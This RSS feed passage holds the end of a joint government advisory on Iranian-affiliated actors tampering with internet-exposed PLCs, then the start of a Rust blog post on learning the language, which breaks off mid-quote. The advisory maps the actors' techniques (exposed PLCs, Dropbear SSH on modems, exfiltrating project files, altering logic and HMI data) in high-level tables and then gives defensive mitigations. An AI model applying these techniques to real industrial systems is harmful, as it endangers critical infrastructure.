<p>See <a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a><strong> </strong>for all referenced threat actor tactics and techniques in this advisory. The authoring agencies recommend organizations review historical TTPs for similar Iranian-affiliated cyber actor activity in <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a>. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 3. Initial Access</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0883/" target="_blank" title="T0833">T0883</a></td>
<td>The actors accessed and interacted with publicly exposed, internet-accessible PLCs that lacked sufficient network and/or hardening security controls.</td>
</tr>
</tbody>
</table>
<p> </p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 4. Command and Control</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Commonly Used Port</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T0885/" target="_blank" title="T0885">T0885</a></td>
<td>The actors leveraged commonly used OT ports to communicate with PLCs.</td>
</tr>
<tr>
<td>Remote Access Tools </td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1219/" target="_blank" title="T1219">T1219</a></td>
<td>The actors deployed Dropbear SSH software on victim modems to enable them to gain remote access through port <code>22</code>.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption>Table 5. Exfiltration <em><strong>(New, July 22, 2026)</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Exfiltration Over C2 Channel</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1041/" target="_blank" title="T1041">T1041</a></td>
<td>The actors used remote, third-party hosted infrastructure as a C2 channel to transfer device project files out of victim environments.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><a class="ck-anchor"></a>Table 6. Impact</caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Manipulation</td>
<td><a href="https://attack.mitre.org/versions/v19/techniques/T1565/" target="_blank" title="T1565">T1565</a></td>
<td>The actors maliciously interacted with project files, including modifying and deleting project file logic, and altered data displayed on HMI and SCADA displays.</td>
</tr>
</tbody>
</table>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<p>The authoring agencies recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture on the basis of the threat actors’ activity. These mitigations align with the <a href="https://www.cisa.gov/cpg" title="Cross-Sector Cybersecurity Performance Goals (CPGs)">Cross-Sector Cybersecurity Performance Goals (CPGs)</a> developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats and TTPs. Visit CISA’s <a href="https://www.cisa.gov/cpg" title="CPGs webpage">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<h3><strong>Network Defenders</strong></h3>
<p>The cyber threat actors accessed PLCs manufactured by Rockwell Automation/Allen-Bradley, Schneider Electric, Siemens, and potentially other branded/manufactured PLCs to cause disruptions to victim systems. To safeguard against this threat and threats to other types of PLCs, the authoring agencies urge organizations to consider the following mitigations.</p>
<p><em><strong>(Updated, July 22, 2026)</strong></em> In addition to contacting the authoring agencies, organizations and integrators operating PLCs from the manufacturers mentioned in this advisory should review the previously issued guidance to strengthen the security of their OT deployments:</p>
<ul type="square">
<li><strong>Rockwell Automation:</strong> Contact the Rockwell Automation Product Security Incident Response Team (PSIRT) at <a href="mailto:PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a> for questions regarding this guidance, or to report cyber incidents related to Rockwell Automation products.<br>
<ul type="circle">
<li>Refer to Rockwell Automation Security Advisory <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="SD1771">SD1771</a> for recommended PLC hardening measures and configuration guidance.</li>
</ul>
</li>
<li><strong>Schneider Electric:</strong> Contact the Schneider Electric Corporate Product Cyber Emergency Response Team (CPCERT) at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.<br>
<ul type="circle">
<li>Refer to Schneider Electric’s <a href="https://download.se.com/files?p_File_Name=Cybersecurity_Best+Practices_EN.pdf&amp;p_Doc_Ref=7EN52-0390&amp;p_enDocType=White+Paper" target="_blank" title="Recommended Cybersecurity Best Practices">Recommended Cybersecurity Best Practices</a> and <a href="https://download.se.com/files?p_Doc_Ref=EIO0000001999&amp;p_enDocType=User+guide&amp;p_File_Name=EIO0000001999-13_Modicon_Controller_Platform_Cybersecurity_Guide_EN.pdf" target="_blank" title="Cybersecurity User Guide for Modicon Controller Platform">Cybersecurity User Guide for Modicon Controller Platform</a> for guidance on securing and configuring PLCs.</li>
</ul>
</li>
<li><strong>Siemens:</strong> Contact Siemens ProductCERT at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a> for questions regarding this guidance, or to report cyber incidents and vulnerabilities related to Siemens products.<br>
<ul type="circle">
<li>Refer to <a href="https://cert-portal.siemens.com/productcert/html/ssb-104599.html" target="_blank" title="Siemens Security Bulletin 104599">Siemens Security Bulletin 104599</a> for a list of security measures to harden PLCs and in-depth configuration guides.</li>
<li>Siemens users should review the <a href="https://cert-portal.siemens.com/operational-guidelines-industrial-security.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> and implement defense-in-depth controls within their automation systems.</li>
</ul>
</li>
</ul>
<p><strong>Immediate steps to prevent the attack:</strong></p>
<ul type="square">
<li><strong>Disconnect the PLC from the public-facing internet</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>]. Follow the joint guidance <a href="https://www.ncsc.gov.uk/collection/operational-technology/secure-connectivity" target="_blank" title="Secure Connectivity Principles for OT">Secure connectivity principles for OT</a> to safely allow remote access. Specifically, “remove inbound port exposure,” so the OT system is never directly exposed to the internet or external networks, and to ensure all access is mediated, monitored, and controlled. Do this through a secure gateway (jump host) that brokers the connection.<br>
<ul type="circle">
<li>Ensure cellular modems, used for remote field connectivity and access, are secured with strong authentication and updated.</li>
<li>Enable logs for connected modems and regularly review for suspicious activity to detect intrusions and improve incident response speed.</li>
<li><em><strong>(New, July 22, 2026) </strong></em>To mitigate unauthorized access to OT via cellular modems, organizations should consider implementing isolated architectures, such as private Access Point Name (APN), 5G Public Network Integrated Non-Public Network (PNI-NPN), cellular Software-Defined Wide Area Network (SD-WAN), Zero Trust Network Access (ZTNA), or a site-to-site virtual private network (VPN).</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026) </strong></em><strong>Strictly control network access to PLC devices.</strong><br>
<ul type="circle">
<li>Configure firewall rules or access control list (ACL) security features on PLCs or programmable controllers to allow only authorized communications between expected control system devices. Block access from unauthorized or threat actor-controlled IP addresses, such as those associated with hosting providers.</li>
</ul>
</li>
<li><strong>For controllers with a physical mode switch, place the physical mode switch into run position to prevent remote modification. </strong>Devices should only be in the program or remote position when updating or downloading software online and immediately switched back to the run position when complete. (See Rockwell Automation’s<a href="https://www.cisa.gov/#Note2"><sup>2</sup></a><sup> </sup><a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/rm/secure-rm001_-en-p.pdf" target="_blank" title="System Security Design Guidelines">System Security Design Guidelines</a> for manufacturer’s instructions.)<br>
<ul type="circle">
<li><em><strong>(New, July 22, 2026)</strong> </em>Prior to switching the device to run mode, review and validate project files, as changing modes will lock in the current project file downloaded to the device.</li>
</ul>
</li>
<li><strong>For devices that allow software key switching, </strong>enable programming protection in PLC configuration software (S7 TIA Portal) to limit who can modify PLCs remotely. (See Siemens’ <a href="https://assets.new.siemens.com/siemens/assets/api/uuid:c9a2de6e-6bd0-4c32-bba0-f64cac44fcc9/industrial-security-operational-guidelines-en.pdf" target="_blank" title="Cybersecurity for Industry Operational Guidelines">Cybersecurity for Industry Operational Guidelines</a> for the manufacturer’s instructions.)</li>
</ul>
<p><strong>Follow-up steps to strengthen security posture:</strong></p>
<ul type="square">
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Review project files running on PLCs for unauthorized changes.</strong> Use vendor-provided integrity checking tools and visually compare the running program to known good logic. Ensure reusable logic and input/output configurations are valid. For Rockwell Automation PLCs listed in the <a href="https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1771.html" target="_blank" title="Customer Guidance to Disconnect Devices from the Internet">Customer Guidance to Disconnect Devices from the Internet</a>, check the AOIs for any anomalous modifications.<br>
<ul type="circle">
<li>If restoring from backups, verify the backup does not contain malicious logic before deployment.</li>
<li>Review logs and configurations on all connected devices, including modems, HMIs, and workstations, to assess potential lateral movement by threat actors. If it appears the actors connected to additional devices, reimage these devices to remove any potential malicious changes or access tools.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure device passwords are changed from their default </strong>and are configured to use complex, unique combinations of letters, numbers, and symbols that are not easily guessable. Implementing robust password practices remains a critical security measure that can help prevent unauthorized access and strengthen the overall security posture of OT devices.</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Take defensive measures to minimize the risk of exploitation. </strong>Conduct comprehensive impact analysis and risk assessments prior to deploying defensive measures.</li>
<li><strong>Create and test strong backups of the logic and configurations of PLCs</strong>. Store backup files offline and secure the physical removal media to enable fast recovery.</li>
<li><strong>Implement multifactor authentication</strong> <strong>(MFA)</strong> [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>] for access to the OT network from an external network.</li>
<li>If remote access is required, <strong>implement a network proxy, gateway, firewall, and/or VPN in front of the PLC to control network access</strong>.<br>
<ul type="circle">
<li>A VPN or gateway device can enable MFA for remote access even if the PLC does not support MFA. Implement security rules on these higher-level network security mechanisms to prevent the type of repeated and sustained login attempts seen during a brute force attack. When possible, implement a device control list for workstations sending messages or connecting to OT components.</li>
<li>Use the device control list to monitor for logon activity for unexpected or unusual access to devices from the internet.</li>
</ul>
</li>
<li><strong>Keep PLC devices updated with the latest software patches issued by the manufacturer.</strong> Use established downtime windows to install patches. <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog" title="Known Exploited Vulnerabilities">Known Exploited Vulnerabilities</a> may need to be prioritized outside a downtime window.</li>
<li><strong>Configure external and internal firewalls to block traffic using common ports </strong>associated with network protocols that are unnecessary for the particular network segment.</li>
<li><strong>Disable any unused authentication methods, logic, or features, </strong>such as default authentication keys and passwords, as well as unused or needed services such as Teletype Network (Telnet), File Transfer Protocol (FTP), Remote Desktop Protocol (RDP), Virtual Network Computing (VNC), and web services.</li>
<li><strong>Monitor asset management systems for device configuration changes</strong>, which can be used to understand expected parameter settings.</li>
<li><strong>Monitor the content of network traffic</strong> for the following:<br>
<ul type="circle">
<li>Unusual logins to internet-connected devices or unexpected protocols to/from the internet. </li>
<li>Functions of industrial control systems management protocols that change an asset’s operating mode or modify programs.</li>
</ul>
</li>
<li><em><strong>(New, July 22, 2026)</strong> </em><strong>Ensure service providers are informed of active threats targeting internet-connected PLC devices. </strong>Owners and operators should communicate directly with service providers to address risks, especially when remote monitoring or maintenance is involved. Some service providers may rely on internet connectivity essential to monitor and maintain OT/ICS operations but may not be fully aware of active threats.</li>
</ul>
<p>In addition, the authoring agencies recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques, as well as reduce the impact and risk of compromise by cyber threat actors:</p>
<ul type="square">
<li><strong>Reduce risk exposure</strong>. CISA offers a range of services at no cost, including scanning and testing, to help organizations reduce exposure to threats via mitigating attack vectors. CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> can help provide additional review of organizations’ internet-accessible assets. </li>
</ul>
<h3><strong>Device Manufacturers</strong></h3>
<p><strong>Note:</strong> The following guidance is general in nature and not specific to any OT vendor. Some of the features, settings, and practices may already be offered by certain vendors. The inclusion of this guidance should not be interpreted as an assertion that vendors referenced do not offer such security features. Also, this advisory is not highlighting a new vulnerability in the identified products, but instead discusses opportunistic targeting. Device manufacturers can make opportunistic attacks more difficult at scale by encouraging more secure behavior by default and in operations, as discussed below. </p>
<p>Although critical infrastructure organizations using PLC devices can take steps to mitigate the risks, it is ultimately the responsibility of the device manufacturer to build products secured by design and default. The authoring agencies urge device manufacturers to take ownership of their customers’ security outcomes by following the principles in the joint guide <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a>, primarily:</p>
<ul>
<li>Change the manufacturers’ default settings to prevent exposing administrative interfaces to the internet.</li>
<li>Do not charge additional fees for basic security features needed to operate the product securely.</li>
<li>Support MFA, including via phishing-resistant methods.</li>
</ul>
<p>By using secure by design tactics, software manufacturers can make product lines secure “out of the box” without requiring customers to spend additional resources making configuration changes, purchasing tiered security software and logs, monitoring, and making routine updates.</p>
<p>For more information on common misconfigurations and guidance on reducing their prevalence, see joint advisory <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a>. For more information on secure by design, see CISA’s <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a> webpage and joint guide.</p>
<h2><strong>Validate Security Controls</strong></h2>
<p>In addition to applying mitigations, the authoring agencies recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&amp;CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&amp;CK techniques described in this advisory.</p>
<p>To get started:</p>
<ol>
<li>Select an ATT&amp;CK technique described in this advisory (see<strong> </strong><a href="https://www.cisa.gov/#Table3"><strong>Table 3</strong></a> to <a href="https://www.cisa.gov/#Table6"><strong>Table 6</strong></a>).</li>
<li>Align your security technologies against the technique.</li>
<li>Test your technologies against the technique.</li>
<li>Analyze your detection and prevention technologies’ performance.</li>
<li>Repeat the process for all security technologies to obtain a set of comprehensive performance data.</li>
<li>Tune your security program, including people, processes, and technologies, based on the data generated by this process.</li>
</ol>
<p>The authoring agencies recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the ATT&amp;CK techniques identified in this advisory.</p>
<h2><strong>Resources</strong></h2>
<ul type="square">
<li>Authoring Agencies: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-335a" title="IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities">IRGC-Affiliated Cyber Actors Exploit PLCs in Multiple Sectors, Including US Water and Wastewater Systems Facilities</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/bulletproof-defense-mitigating-risks-bulletproof-hosting-providers" title="Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers">Bulletproof Defense: Mitigating Risks From Bulletproof Hosting Providers</a></li>
<li>EPA: <a href="https://www.epa.gov/cyberwater/epa-cybersecurity-water-sector" target="_blank" title="Cybersecurity for the Water Sector">Cybersecurity for the Water Sector</a></li>
<li>CISA: <a href="https://www.cisa.gov/water" title="Water and Wastewater Cybersecurity">Water and Wastewater Cybersecurity</a></li>
<li>CISA: <a href="https://www.cisa.gov/news-events/alerts/2023/11/28/exploitation-unitronics-plcs-used-water-and-wastewater-systems" title="Exploitation of Unitronics PLCs used in Water and Wastewater Systems">Exploitation of Unitronics PLCs used in Water and Wastewater Systems</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/iran" title="Iran Cyber Threat Overview and Advisories">Iran Threat Overview and Advisories</a></li>
<li>FBI: <a href="https://www.fbi.gov/investigate/counterintelligence/the-iran-threat" target="_blank" title="The Iran Threat">The Iran Threat</a> and <a href="https://www.fbi.gov/investigate/cyber/cyber-threat-overview-iran" target="_blank" title="Cyber Threat Overview: Iran">Cyber Threat Overview: Iran</a></li>
<li>CISA, MITRE: <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a></li>
<li>CISA: <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a></li>
<li>CISA: <a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0" title="Cross-Sector Cybersecurity Performance Goals 2.0">Cross-Sector Cybersecurity Performance Goals 2.0</a></li>
<li>CISA: <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/cyber-hygiene-services" title="No-Cost Cybersecurity Services and Tools">No-Cost Cybersecurity Services and Tools</a></li>
<li>CISA: <a href="https://www.cisa.gov/resources-tools/resources/secure-demand-priority-considerations-operational-technology-owners-and-operators-when-selecting" title="Secure by Demand: Priority Considerations for Operational Technology Owners and Operators when Selecting Digital Products">Secure by Demand: Priority Considerations for OT Owners and Operators when Selecting Digital Products</a></li>
<li>NSA, CISA: <a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-278a" title="NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations">NSA and CISA Red and Blue Teams Share Top Ten Cybersecurity Misconfigurations</a></li>
<li>CISA: <a href="https://www.cisa.gov/securebydesign" title="Secure by Design">Secure by Design</a></li>
<li>FBI, CISA: <a href="https://www.ic3.gov/CSA/2025/250506.pdf" target="_blank" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a></li>
<li>United Kingdom National Cyber Security Centre: <a href="https://www.ic3.gov/CSA/2026/260114.pdf" target="_blank" title="Secure Connectivity Principles for Operational Technology (OT)">Secure connectivity principles for operational technology</a></li>
</ul>
<h2><a class="ck-anchor"><strong>Contact Information</strong></a></h2>
<p>U.S. organizations are encouraged to report suspicious or criminal activity related to information in this advisory to CISA, the FBI, and/or NSA:</p>
<ul type="square">
<li>Contact CISA via CISA’s 24/7 Operations Center at <a href="mailto:contact@cisa.dhs.gov">contact@cisa.dhs.gov</a> or 1-844-Say-CISA (1-844-729-2472). File a claim with FBI’s <a href="https://ic3.gov/" target="_blank" title="Internet Crime Complaint Center (IC3)">Internet Crime Complaint Center (IC3)</a> or contact your local <a href="https://www.fbi.gov/contact-us/field-offices" target="_blank" title="FBI field office">FBI field office</a>. When available, please include the following information regarding the incident: 
<ul>
<li>Date, time, and location of the incident;</li>
<li>Type of activity;</li>
<li>Number of people affected;</li>
<li>Type of equipment used for the activity; and</li>
<li>Name of the submitting company or organization, and a designated point of contact.</li>
</ul>
</li>
<li>For NSA cybersecurity guidance inquiries, contact <a href="mailto:CybersecurityReports@nsa.gov" title="CybersecurityReports@nsa.gov">CybersecurityReports@nsa.gov</a>.</li>
<li>Entities required to report incidents to DOE should follow established reporting requirements, as appropriate. For other energy sector inquiries, contact <a href="mailto:EnergySRMA@hq.doe.gov" title="EnergySRMA@hq.doe.gov">EnergySRMA@hq.doe.gov</a>.</li>
<li>Contact the Rockwell Automation PSIRT for questions regarding their guidance or for reporting cyber incidents related to Rockwell Automation products at <a href="mailto:PSIRT@rockwellautomation.com" title="PSIRT@rockwellautomation.com">PSIRT@rockwellautomation.com</a>.</li>
<li>Contact the Schneider Electric CPCERT at <a href="mailto:cpcert@se.com">cpcert@se.com</a> for questions regarding this guidance, or to report cyber incidents related to Schneider Electric products.</li>
<li>Contact Siemens ProductCERT for up-to-date information about the security of Siemens products or to report cybersecurity vulnerabilities at <a href="mailto:productcert@siemens.com">productcert@siemens.com</a>. For support with increasing the security of installed Siemens PLCs, contact Siemens Industrial Cybersecurity Services at <a href="mailto:services.automation@siemens.com">services.automation@siemens.com</a>. See <a href="https://www.siemens.com/en-us/content/cert-services/" target="_blank" title="Siemens ProductCERT and Siemens CERT">Siemens ProductCERT and Siemens CERT</a> for more information.</li>
</ul>
<h2><strong>Disclaimer</strong></h2>
<p>The information in this report is being provided “as is” for informational purposes only. CISA and the authoring agencies do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and the authoring agencies.</p>
<h2><strong>Version History</strong></h2>
<p><strong>April 7, 2026</strong>: Initial version.</p>
<p><strong>July 22, 2026</strong>: Update includes new guidance on detecting malicious activity, expanded scope of observed targeting, and best practices for secure PLCs deployment.</p>
<h2><strong>Notes</strong></h2>
<p><a class="ck-anchor"></a><sup>1</sup>Project file refers to the software file that contains ladder logic and configuration settings. On Rockwell Automation devices, it is referred to as an .ACD file.</p>
<p><a class="ck-anchor"></a><sup>2 </sup>See <a href="https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1769-um021_-en-p.pdf" target="_blank" title="CompactLogix 5370 Controllers">CompactLogix 5370 Controllers</a> (Chapter 5: “Select the Operating Mode of the Controller”) for more information on functions available for the switch.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
